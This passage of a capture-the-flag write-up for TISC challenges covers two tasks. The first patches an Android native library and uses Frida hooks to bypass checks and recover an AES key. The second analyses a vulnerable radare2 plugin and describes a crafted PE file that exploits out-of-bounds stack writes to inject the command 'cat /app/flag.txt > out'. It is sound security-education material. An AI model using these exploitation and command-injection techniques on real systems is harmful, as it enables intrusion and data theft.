6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 sub_3230()
{
  signed __int64 v0; // rax
  unsigned int v1; // eax
  unsigned int v2; // eax
  unsigned int v4; // eax
  unsigned int v5; // eax
  unsigned int v6; // [rsp+40h] [rbp-10h]

  v0 = sys_openat(-100, filename, 0, 0);
  switch ( (unsigned __int64)jpt_330B )
  {
    case 0uLL:
      v4 = sub_3370(1LL, 8LL);
      v5 = sub_3370(v4, 5LL);
      v6 = sub_3370(v5, 8LL);
      __android_log_print(4LL, "TISC", "One wall down!");
      break;
    case 1uLL:
      v1 = sub_3370(1LL, 4LL);
      v2 = sub_3370(v1, 6LL);
      v6 = sub_3370(v2, 5LL);
      __android_log_print(6LL, "TISC", "I need a very specific file to be available. Or do I?");
      break;
  }
  return v6;
}

The function tries to open a file with the name "/sys/wall/facer" (stored in filename). If the file exists, the check is passed and the message "One wall down!" is logged. This logic is clearer in the disassembly:

1
2
3
4
5
6
7
.text:000000000000326F                 lea     rsi, filename   ; "/sys/wall/facer"
.text:0000000000003276                 mov     eax, 101h
.text:000000000000327B                 syscall                 ; LINUX - sys_openat
.text:000000000000327D                 mov     dword ptr [rbp+var_20], eax
.text:0000000000003280                 mov     eax, dword ptr [rbp+var_20]
.text:0000000000003283                 shr     eax, 1Fh
[...]

The topmost bit of the syscall return value is used as the switch’s parameter. When the file does not exist, the syscall returns negative one, which has the topmost bit set, thus failing the check.

Since the rest of the function (and program) does not interact with the file in any way, we can simply patch out the check. This is also hinted at by the log message "I need a very specific file to be available. Or do I?". I patched the instruction with XOR EAX, EAX, which sets the syscall return value register EAX to zero, which should pass the check.

Next, we need a way of running the patched binary. The simplest way is to use Android Studio to emulate the original APK and force it to load the patched binary instead of the original libnative.so. I used Frida to achieve this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function x() {
	console.log("Executing...");

	let i = 0;
	Java.use("Oa").a.implementation = function (x, y, z) {
		console.log(`Decrypt called: x${i}`);
		let byteArray = [];
		if (i == 0) {
			byteArray = replaced_so;
		}
		i += 1;
		const javaByteArray = Java.array("byte", byteArray);
		return javaByteArray;
	};
[...]

There are many existing guides to using Frida with Android Studio, so I will not be explaining how to do so. This article is a good reference.

This hooks onto the decrypt function used in generateNativeLibrary, replacing the output of the decryption. We can supply our own data instead, storing the patched binary as a bytearray in the variable replaced_so. Since Frida scripts cannot access the host’s filesystem where my patched binary is located, I wrote a helper Python script to populate the replaced_so value at runtime.

1
2
3
4
5
6
7
8
with open("solve.js", "r") as f:
    with open("../patch/out.so", "rb") as g:
        so = list(g.read())
        orig = f.read()
        final = f"global.replaced_so = {so}\n" + orig

        with open("solve_new.js", "w+") as h:
            h.write(final)

We launch the APK as usual in Android Studio. Then, we run the Frida command frida -U -l .\solve_new.js Wallfacer to attach the script to the target process. Now, when we submit the input “I am a tomb”, the script’s hook is activated as the patched library is loaded instead. This challenge has helpful logs that we can view in Logcat to track our progress.

We have successfully passed the first challenge! Let’s move on to the second check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
long second(long param0) {
    char ptr1;
    uint32_t v1 = (uint32_t)param0;

    *(long*)&ptr1 = -8003880287655606187L;
    int v2 = 0x48000000;
    long v3 = 12L;
    char* ptr0 = (char*)&sub_13430;
    int i;
    for(i = 0; i < 12L && (uint32_t)*(char*)(i + (long)&ptr1) == (uint32_t)*(char*)(i + &sub_13430); ++i) {
    }

    if(i != 12) {
        __builtin_memcpy(&sub_13430, &ptr1, 12);
        void* ptr1 = (void*)&gFFFE8;
    }

    long v4 = second_callee(1, (uint32_t)param0);
    return (long)(uint32_t)v4;
}

The for loop and memcpy are a bit confusing, but they essentially check the function prologue to ensure that the first 12 bytes of the function correspond to a specific 12 bytes. If the bytes do not match, the memcpy occurs to replace the function prologue with the specific 12 bytes. At first, I thought this was to dynamically alter the function’s behaviour. However, I realized that the 12 bytes matched from the start, meaning that is likely used to prevent mitigate patches to the function prologue instead.

I’m not sure what this purpose this check serves since you would not normally patch the function prologue anyways.

At the end, second() calls another function second_callee() with the arguments 1 and its own first function parameter. The decompilation isn’t very helpful, but the disassembly reveals that this function checks whether its first parameter is 1337.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000003430                 push    rbp
.text:0000000000003431                 mov     rbp, rsp
.text:0000000000003434                 sub     rsp, 90h
.text:000000000000343B                 lea     rax, jpt_34C0
.text:0000000000003442                 mov     [rbp+var_8], rax
.text:0000000000003446                 mov     [rbp+var_10], edi
.text:0000000000003449                 mov     [rbp+var_14], esi
.text:000000000000344C                 mov     eax, [rbp+var_10]
.text:000000000000344F                 sub     eax, 539h
.text:0000000000003454                 setz    al
.text:0000000000003457                 movzx   eax, al
.text:000000000000345A                 mov     [rbp+var_C], eax
.text:000000000000345D                 mov     rax, [rbp+var_8]
.text:0000000000003461                 movsxd  rcx, [rbp+var_C]
.text:0000000000003465                 mov     rax, (jpt_34C0 - 5C10h)[rax+rcx*8] ; switch 2 cases

The first parameter (in edi) is moved onto the stack and into eax. 539h, or 1337 is subtracted from it and the result is used in a switch/case’s jump table.


Patching second() to call second_callee() with an argument of 1337 instead of 1 passes the second check.

Finally, let’s tackle the third check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
long third(long* ctx, long param1, long param2, long param3, long param4) {
    char ptr4;
    char __s;
    uint32_t result = (uint32_t)param1;
    long v1 = &loc_11FB7;

    sprintf(&__s, "%d");
    long v2 = *(long*)(ctx[0] + 1336L);
    v1 = &loc_11FCF;
    long v3 = v2((long)ctx, (long)&__s);
    long v4 = *(long*)(ctx[0] + 48L);
    v1 = &loc_11FEB;
    long v5 = v4((long)ctx, "java/security/MessageDigest");
    long v6 = *(long*)(ctx[0] + 0x388L);
    v1 = &loc_12015;
    long v7 = v6((long)ctx, v5, "getInstance", "(Ljava/lang/String;)Ljava/security/MessageDigest;");
    long v8 = *(long*)(ctx[0] + 264L);
    v1 = &loc_1203F;
    long v9 = v8((long)ctx, v5, "update", "([B)V");
    long v10 = *(long*)(ctx[0] + 264L);
    v1 = &loc_12069;
    long v11 = v10((long)ctx, v5, "digest", "()[B");
    long v12 = *(long*)(ctx[0] + 1336L);
    v1 = &loc_12088;
    long v13 = v12((long)ctx, "SHA-1");
    long v14 = *(long*)(ctx[0] + 912L);
    v1 = &loc_120AF;
    long v15 = v14((long)ctx, v5, v7, v13);
    long v16 = *(long*)(ctx[0] + 264L);
    long* ptr0 = ctx;
    long v17 = *(long*)(ctx[0] + 248L)((long)ctx, v3);
    v1 = &loc_1210C;
    long v18 = v16((long)ptr0, v17, "getBytes", "()[B", param4);
    long v19 = *(long*)(ctx[0] + 0x110L);
    v1 = &loc_1212E;
    long v20 = v19((long)ctx, v3, v18);
    long v21 = *(long*)(ctx[0] + 488L);
    v1 = &loc_12155;
    v21((long)ctx, v15, v9, v20);
    long v22 = *(long*)(ctx[0] + 0x110L);
    v1 = &loc_12173;
    long v23 = v22((long)ctx, v15, v11);
    long v24 = *(long*)(ctx[0] + 0x558L);
    v1 = &loc_1218F;
    long v25 = v24((long)ctx, v23);
    int v26 = (uint32_t)v25;
    long v27 = *(long*)(ctx[0] + 1472L);
    v1 = &loc_121AE;
    char* buf_ = (char*)v27((long)ctx, v23, 0L, 0L, param4);
[...]

The initial part of this function makes calls using ctx as some sort of function pointer table. This makes it difficult to discern what is going on statically. From the strings, it looks like some sort of SHA-1 encryption. I did not attempt to reverse this further.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    long v28 = v26;
    char* buf = buf_;
    uint32_t val = 0;
    int idx = 0;
    do {
        val += *(idx + buf);
        ++idx;
    }
    while(idx < 20);

    *(long*)&ptr4 = -5698037278441912235L;
    int v31 = 0x48000000;
    long v32 = 12L;
    char* ptr3 = (char*)&target;
    int i;
    for(i = 0; i < 12L && (uint32_t)*(char*)(i + (long)&ptr4) == (uint32_t)*(char*)(i + &target); ++i) {
    }

    if(i != 12) {
        __builtin_memcpy(&target, &ptr4, 12);
        i = 12;
        v32 = 12L;
        ptr3 = &target;
        void* ptr4 = (void*)&gFFF5C;
    }

    v1 = &loc_12328;
    long v33 = target(val, result);
    result = v33;
[...]

The next section is more manageable. We sum up the value of the characters in buf, which is the result of the previous function calls. Then, it performs the same function prologue check discussed earlier. After that, it calls target() with the character sum it calculated. In target, a jump is taken depending on whether its first parameter is 1337.

1
2
3
4
5
6
7
8
9
10
long target(long param0, long param1) {
    long v0 = &gvar_15C30;
    int v1 = (uint32_t)param0;
    int v2 = (uint32_t)param1;
    long v3 = &loc_135E6;

    __android_log_print(3L, "TISC", "Bet you can\'t fix the correct constant :)");
    int v4 = (uint32_t)param0 == 1337;
    jump (uint32_t)param0 != 1337 ? *(long*)&gvar_15C30: *(long*)&g15C38;
}

Finally, third performs some more function calls using ctx before returning.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[...]
    result = v33;
    long v34 = *(long*)(ctx[0] + 0x600L);
    v1 = &loc_12349;
    v34((long)ctx, v23, (long)buf_, 0L);
    long v35 = *(long*)(ctx[0] + 184L);
    v1 = &loc_12361;
    v35((long)ctx, v3);
    long v36 = *(long*)(ctx[0] + 184L);
    v1 = &loc_12379;
    v36((long)ctx, v13);
    long v37 = *(long*)(ctx[0] + 184L);
    v1 = &loc_12391;
    v37((long)ctx, v20);
    long v38 = *(long*)(ctx[0] + 184L);
    v1 = &loc_123A9;
    v38((long)ctx, v23);
    long v39 = *(long*)(ctx[0] + 184L);
    v1 = &loc_123C1;
    v39((long)ctx, v15);
    *(long*)(ctx[0] + 184L)((long)ctx, v5);
    return result;
}

My initial naive attempts at patching all failed. At first, I tried to directly patch the argument used in the function call to target (like I did to pass the second check), but the error message "Not like this..." still appeared, signifying that I had not actually passed the check. Next, taking inspiration from the log message hint about fixing the correct constant, I tried to modify the bounds of the character summing loop so that the resultant sum would organically equal 1337. However, no bound gave the desired sum.

At this stage, I was trying to better understand the switch/case jump table that target() used. Through dynamic analysis, I found that the function was jumping out to 36d6 on failure. Looking through some of the other function pointers in the jump table, I found the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void UndefinedFunction_001036e4(void)
{
  undefined4 uVar1;
  long unaff_RBP;
  
  *(undefined4 *)(unaff_RBP + -0xa0) = 5;
  uVar1 = FUN_00103370(*(undefined4 *)(unaff_RBP + -0x14));
  *(undefined4 *)(unaff_RBP + -0x14) = uVar1;
  uVar1 = FUN_00103370(*(undefined4 *)(unaff_RBP + -0x14),6);
  *(undefined4 *)(unaff_RBP + -0x14) = uVar1;
  uVar1 = FUN_00103370(*(undefined4 *)(unaff_RBP + -0x14),*(undefined4 *)(unaff_RBP + -0xa0));
  *(undefined4 *)(unaff_RBP + -0x14) = uVar1;
  __android_log_print(4,&DAT_00100a2f,"I guess it\'s time to reveal the correct key and IV!");
                    /* WARNING: Could not recover jumptable at 0x00103741. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  (**(code **)(*(long *)(unaff_RBP + -0x70) + (long)*(int *)(unaff_RBP + -0x74) * 8))();
  return;
}

This looked like the win function. So, I decided to hook the native library and directly jump to this function instead of the failure function to see what that would achieve. I added the following to my Frida script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	let it = setInterval(() => {
		const moduleName = "libnative.so";
		const moduleBaseAddress = Module.findBaseAddress(moduleName);
		if (moduleBaseAddress == null) {
			return;
		}

		console.log("Timeout cleared. Library has been loaded");
		clearInterval(it);

		Interceptor.attach(moduleBaseAddress.add(0x3664), {
			onEnter: function (args) {
				let arg = this.context.rax - moduleBaseAddress;
				console.log(`Original param: ${arg}`);
				// we originally jump to 36d6. win is at 36e4.
				this.context.rax = moduleBaseAddress.add(0x36e4);
			},
		});
	}, 500);

Since the native library was not loaded from the start, I decided to poll every half a second until it loaded. Then, I could attach to the instruction that performed the switch/case jump in target, and replace the jump destination (contained in rax) to the win function.

Miraculously, this worked! This gives us the logs:

1
2
The key is: eU9I93-L9S9Z!:6;:i<9=*=8^JJ748%%
The IV is: R"VY!5Jn7X16`Ik]

Referring back to the interesting strings mentioned earlier, we find that only str: 4tYKEbM6WqQcItBx0GMJvssyGHpVTJMhpjxHVLEZLVK6cmIH7jAmI/nwEJ1gUDo2 has not been used in the challenge. With a key, IV, and (likely base64 encoded) ciphertext, this encryption scheme looks like AES-CBC; the original APK also has a few references to AES-CBC, supporting this hypothesis. We can decrypt this in Cyberchef, giving us the flag: TISC{1_4m_y0ur_w4llbr34k3r_!i#Leb}

I was surprised that simply patching the jump destination passed the third check, since the log message of patching the right constant alluded to requiring a careful patch. My write-up also makes some of these patches sound a bit guessy, which is a by-product of not having reversed the binary very deeply during the CTF. I am curious to see what others who reversed the binary more comprehensively have found. All in all, this a pretty big difficulty jump from the two prior “Rev” track challenge.

Imphash

This is the 9th level of TISC and is the first binary exploitation challenge in the series. We are provided a imphash.zip and a remote IP.

1
2
3
$ unzip imphash.zip
$ ls
Dockerfile  client.py  docker-compose.yml  flag.txt  libcoreimp.so  service.py  service.xinetd

The Dockerfile prepares the environment by installing some dependencies: radare2 and libcjson-dev. It also moves libcoreimp.so into the radare2 plugins folder. service.xinetd specifies the configuration for running the challenge service in service.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import subprocess
import base64
import secrets

fdata = input("Input PE file (base64 encoded): ")
try:
    fdata = base64.b64decode(fdata.encode())
except:
    print("Invalid base64!", flush=True)
    exit(1)

dirname = "/app/uploads/"+secrets.token_hex(16)
os.mkdir(dirname)
os.chdir(dirname)
with open("./file.exe", "wb") as f:
    f.write(fdata)

subprocess.run(["r2 -q -c imp -e bin.relocs.apply=true file.exe"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True)

if os.path.isfile("out"):
    with open("./out", "r") as f:
        print("Import hash:", f.read(), flush=True)
else:
    print("Error generating imphash!", flush=True)

os.chdir("/app")
os.system("rm -rf "+dirname)

The challenge service saves the user’s input to a temporary file and uses it as the target of a radare2 (r2) command imp. It then reads an out-file and prints the import hash. This looks like an r2 plugin challenge where we need to exploit a vulnerable plugin. Let’s open the custom plugin libcoreimp.so for further analysis.

Looking at the r2 plugin documentation, we find that plugins generally define a struct with the plugin’s name, description, license and callback functions. We can find such a struct r_core_plugin_imp referencing r_cmd_imp_client in the .data segment. Less conscientiously, r_cmd_imp_client is the only non-standard function in the disassembly so we know this must be our target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall r_cmd_imp_client(__int64 ctx, const char *cmd)
{
  char v10[96];
  char s_0x110[16];
  char core_cmd[37];
  char core_cmd_cont[8];
  char buf_0x1000[4110];

  __int64 ctx_ = ctx;
  if ( !r_str_startswith_inline(cmd, "imp") )
    return 0LL;
  __int16 pos = 0;
  memset(buf_0x1000, 0, 0x1000uLL);
  memset(s_0x110, 0, 0x110uLL);
  strcpy(core_cmd, "echo ");
  strcpy(core_cmd_cont, " > out");
  __int64 s_file_info_json = r_core_cmd_str(ctx_, "iIj");
  void *j_file_info = (void *)cJSON_Parse(s_file_info_json);
  void *j_bintype = cJSON_GetObjectItemCaseSensitive(j_file_info, "bintype");
[...]

The function first uses r_str_startswith_inline() to check whether the r2 command starts with "imp". These functions with an r_ prefix all belong to the r2 library, which is open sourced on Github. The target function also calls r_core_cmd_str, which based on inline source comments, runs a r2 command and returns a buffer containing its output. In this case, the target function is running the iIj r2 command and its result is stored in s_file_info_json. For the uninitiated, r2 favours brevity and composition in its commands – iIj can be broken down into iI, denoting file information, and j, denoting formatting the output as JSON. The target function also makes heavy use of cJSON, a lightweight JSON parser library, to interpret the outputs of the r2 commands. Here, cJSON_Parse() parses a JSON string into the cJSON * type, which is represented with void * in the decompilation. This object can be used with other cJSON methods, such as cJSON_GetObjectItemCaseSensitive(), which extracts the value corresponding to a given key.

I suspected that this may be an n-day challenge for either the r2 library or the cJSON library but it turns out the solution is much simpler.

Next, the target function checks whether the input file is a "pe" (the Portable Execution format used by Windows executables and DLLs) based on the output of the iIj analysis. If it is not, the function exits with an error.

1
2
3
4
5
6
7
8
  if ( strncmp(*((const char **)j_bintype + 4), "pe", 2uLL) )
  {
    puts("File is not PE file!");
    return 1LL;
  }
  else
  {
[...]

The next section contains the main logic of the function. It runs two commands: aa, or analyze all public symbols, and iiJ, or print import information in JSON format. It then iterates over each import in a for loop. In the context of a PE file, these imports typically correspond to external libraries, such as Windows system DLLs, from which the program imports functions. It also checks that each library name ends with a valid extension.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[...]
    void *s_all_analysis = (void *)r_core_cmd_str(ctx_, "aa");
    free(s_all_analysis);
    __int64 s_imports_json = r_core_cmd_str(ctx_, "iij");
    __int64 j_imports = cJSON_Parse(s_imports_json);
    void *node = 0LL;
	void *curr = 0LL;
    if ( j_imports )
      curr = *(void **)(j_imports + 16);        // ->child
    for ( node = curr; node; node = *(void **)node )// ->next
    {
      void *j_libname = cJSON_GetObjectItemCaseSensitive(node, "libname");
      void *j_name = cJSON_GetObjectItemCaseSensitive(node, "name");
      if ( j_libname && j_name )
      {
        char *S_LIBNAME = (char *)*((_QWORD *)j_libname + 4);
        char *S_NAME = (char *)*((_QWORD *)j_name + 4);
        char *v20 = strpbrk(S_LIBNAME, ".dll");
        if ( !v20 || v20 == S_LIBNAME )
        {
          char *v19 = strpbrk(S_LIBNAME, ".ocx");
          if ( !v19 || v19 == S_LIBNAME )
          {
            char *v18 = strpbrk(S_LIBNAME, ".sys");
            if ( !v18 || v18 == S_LIBNAME )
            {
              puts("Invalid library name! Must end in .dll, .ocx or .sys!");
              return 1LL;
            }
          }
        }
        int len_libname_noext = strlen(S_LIBNAME) - 4;
        int len_name = strlen(S_NAME);
        if ( 4094LL - pos < (unsigned __int64)(len_libname_noext + len_name) )
        {
          puts("Imports too long!");
          return 1LL;
        }
        for ( int i = 0; i < len_libname_noext; ++i )
          buf_0x1000[pos + i] = tolower(S_LIBNAME[i]);
        pos += len_libname_noext;
        buf_0x1000[pos++] = '.';
        for ( int j = 0; j < len_name; ++j )
          buf_0x1000[pos + j] = tolower(S_NAME[j]);
        pos += len_name;
        buf_0x1000[pos++] = ',';
      }
    }
[...]

After checking the validity of the library name, the function appends the library name and the imported function name to a buffer buf_0x1000. For example, if the library name was KERNEL32.dll and the function was CreateFileA, kernel32.createfilea, would be appended to the buffer.

The final section of the target function calculates the import hash after the completion of the prior for loop. It calculates the MD5 hash of the buffer buf_0x1000 and writes its hex representation into core_cmd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[...]
    MD5_Init(v10);
    size_t v8 = strlen(buf_0x1000);
    MD5_Update(v10, buf_0x1000, v8 - 1);
    MD5_Final(s_0x110, v10);
    const char *v25 = "0123456789abcdef";
    for ( int k = 0; k <= 15; ++k )
    {
      core_cmd[2 * k + 5] = v25[(s_0x110[k] >> 4) & 0xF];
      core_cmd[2 * k + 6] = v25[s_0x110[k] & 0xF];
    }
    void *v9 = (void *)r_core_cmd_str(ctx_, core_cmd);
    free(v9);
    return 1LL;
  }
}

At the start of the target function, it performed:

1
2
  strcpy(core_cmd, "echo ");
  strcpy(core_cmd_cont, " > out");

This results in a core_cmd resembling echo 912ec803b2ce49e4a541068d495ab570 > out, which is then executed as a r2 command by r_core_cmd_str(). This also explains why the challenge service eventually reads the import hash from the file out.

Auditing the code reveals two vulnerabilities in the target function. The first vulnerability lies in the way it checks for the the library name. It checks that the library name has a valid extension in the following way:

1
2
3
4
5
6
char *v20 = strpbrk(S_LIBNAME, ".dll");
if ( !v20 || v20 == S_LIBNAME )
{
// the library name does NOT end with that extension
[...]
}

However, the check is poorly written and can be bypassed. strpbrk() returns a pointer to the first byte in the input string that matches one of the supplied bytes. With S_LIBNAME = "abc.de", strpbrk() locates returns S_LIBNAME+3 since that is the first occurrence of '.'. This fails the if condition, passing the check. Subsequently, the length of the library name is calculated as strlen(S_LIBNAME) - 4. By supplying S_LIBNAME = "a.", the check passes and the length is calculated to be -2.

We can easily modify a PE file’s imports. I will explain the method after discussing the vulnerabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        int len_libname_noext = strlen(S_LIBNAME) - 4;
        int len_name = strlen(S_NAME);
        if ( 4094LL - pos < (unsigned __int64)(len_libname_noext + len_name) )
        {
          puts("Imports too long!");
          return 1LL;
        }
        for ( int i = 0; i < len_libname_noext; ++i )
          buf_0x1000[pos + i] = tolower(S_LIBNAME[i]);
        pos += len_libname_noext;
        buf_0x1000[pos++] = '.';
        for ( int j = 0; j < len_name; ++j )
          buf_0x1000[pos + j] = tolower(S_NAME[j]);
        pos += len_name;
        buf_0x1000[pos++] = ',';

The vulnerable segment of code


This can result in decrementing pos, which could lead to an OOB access.

The second vulnerability lies in the maximum import length check. If we have a library name and a symbol name that satisfy 4094 - pos == len_libname_noext + len_name, we hit an edge case where we pass the check but end up incrementing pos OOB. For example, if pos = 4084, S_LIBNAME = "kernel.dll" and S_NAME = "test", we satisfy the aforementioned equality. "kernel" is written from indices 4084-4089, '.' is written to index 4090, "test" is written from indices 4091 to 4094, and ',' is written at index 4095. At the end, pos = 4096. On the next iteration of the loop, the left hand side of the comparison is now 4094LL - 4096, which underflows to a large unsigned value since the comparison implicitly promotes the operands to unsigned long. This will easily pass the check, allowing for an OOB write on the buffer of size 4096.

This is a powerful vulnerability, allowing for an arbitrary stack overflow. However, we are rather limited in what we can do since the challenge service cannot offer any leaks other than reading the out file. Furthermore, the stack layout is contains critical pointers that must be preserved.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  char v10[96]; // [rsp+10h] [rbp-1210h] BYREF
  char s_0x110[16]; // [rsp+70h] [rbp-11B0h] BYREF
  char core_cmd[37]; // [rsp+80h] [rbp-11A0h] BYREF
  char core_cmd_cont[8]; // [rsp+A5h] [rbp-117Bh] BYREF
  __int16 pos; // [rsp+180h] [rbp-10A0h]
  char buf_0x1000[4110]; // [rsp+182h] [rbp-109Eh] BYREF
  int len_name; // [rsp+1190h] [rbp-90h]
  int len_libname_noext; // [rsp+1194h] [rbp-8Ch]
  char *v18; // [rsp+1198h] [rbp-88h]
  char *v19; // [rsp+11A0h] [rbp-80h]
  char *v20; // [rsp+11A8h] [rbp-78h]
  char *S_NAME; // [rsp+11B0h] [rbp-70h]
  char *S_LIBNAME; // [rsp+11B8h] [rbp-68h]
  char *j_name; // [rsp+11C0h] [rbp-60h]
  char *j_libname; // [rsp+11C8h] [rbp-58h]
  const char *v25; // [rsp+11D0h] [rbp-50h]
  __int64 j_imports; // [rsp+11D8h] [rbp-48h]
  __int64 s_imports_json; // [rsp+11E0h] [rbp-40h]
  void *j_bintype; // [rsp+11E8h] [rbp-38h]
  void *j_file_info; // [rsp+11F0h] [rbp-30h]
  __int64 s_file_info_json; // [rsp+11F8h] [rbp-28h]
  __int64 ctx_; // [rsp+1200h] [rbp-20h]
  int k; // [rsp+120Ch] [rbp-14h]
  int j; // [rsp+1210h] [rbp-10h]
  int i; // [rsp+1214h] [rbp-Ch]
  void *node; // [rsp+1218h] [rbp-8h]

Critically, the stack overflow will overwrite ctx_ and node before reaching the saved base pointer and instruction pointer. Since the for loop iterates over a linked list represented by node, overwriting it without a leak will simply crash the program. Thus, it seems like this second vulnerability is unexploitable.

Returning to the first vulnerability, we notice that if the first library name is malformed, we can decrement pos to -2, which places the buffer pointer (buf_0x1000[-2]) directly over the pos variable (refer to the stack layout above). This allows us to write into the pos variable, giving us control of where subsequent writes go. One caveat is that after decrementing pos, the character '.' will be written to the buffer pointer so we do not have full control of pos. Instead, this will overwrite the LSB of pos, giving pos = 0xff2e or -0xd2.

Next, it is key to identify our exploit target. Given that we do not have leaks or the ability to send a payload in a second round (as per typical ROP exploits), we know that the exploit must be a static one-cycle. This limits the possible attack surface to either returning to a one-gadget (or similar) or overwriting stack variables. Looking at the stack variables, we can spot that overwriting the core_cmd stack buffer will effectively grant an RCE. We simply need to perform a command injection that reads the flag file into the file out and the challenge service will print the flag for us. We can use the following r2 command cat /app/flag.txt > out to achieve this.

With our OOB stack write, we can write to buf_0x1000[-0xd2], or [rsp+0xb0], which is just shy of the core_cmd buffer which ends at [rsp+0xac]. The initial strcpy also ensures that core_cmd is null-terminated, preventing any string overrun attacks. So, we need to use the OOB stack write to overwrite the LSB of pos again, such that it is even smaller. This will give us a larger OOB, landing in core_cmd. For instance, if we overwrite the LSB of pos with 0x20, the buffer pointer now points to [rsp+0xa2], well within core_cmd, allowing us to perform our command injection.

One point we haven’t discussed is how we can craft PE files as required. According to the PE format, the imports are stored plaintext in table within the file.

I used a sample DLL from PeNet’s examples as a base file. Then, I used Ghidra to patch the DLL so that the first library name that shows up in iij is "a.". This triggers the pos LSB overwrite with '.', pushing the buffer pointer backwards. I also renamed the rest of the imports to shorter names so that it would not overrun past pos. The last two imports have special purposes. The first import fills up the remaining buffer until just before pos. The second import overwrites the LSB of pos with 0x20, pushing the buffer pointer backwards and landing it in core_cmd. The remaining part of the second import is the command injection.

Although we can overwrite the LSB of pos with the first import, since the import would have already covered some of the buffer, the value of i would be large, such that buf_0x1000[pos + i] would lie after core_cmd.

Sending our forged PE file to the remote server gives us the flag: TISC{pwn1n6_w17h_w1nd0w5_p3}

While this challenge has a foreign environment (r2 plugin land), the challenge service’s limited attack surface helpfully guides the player into looking for specific attack techniques.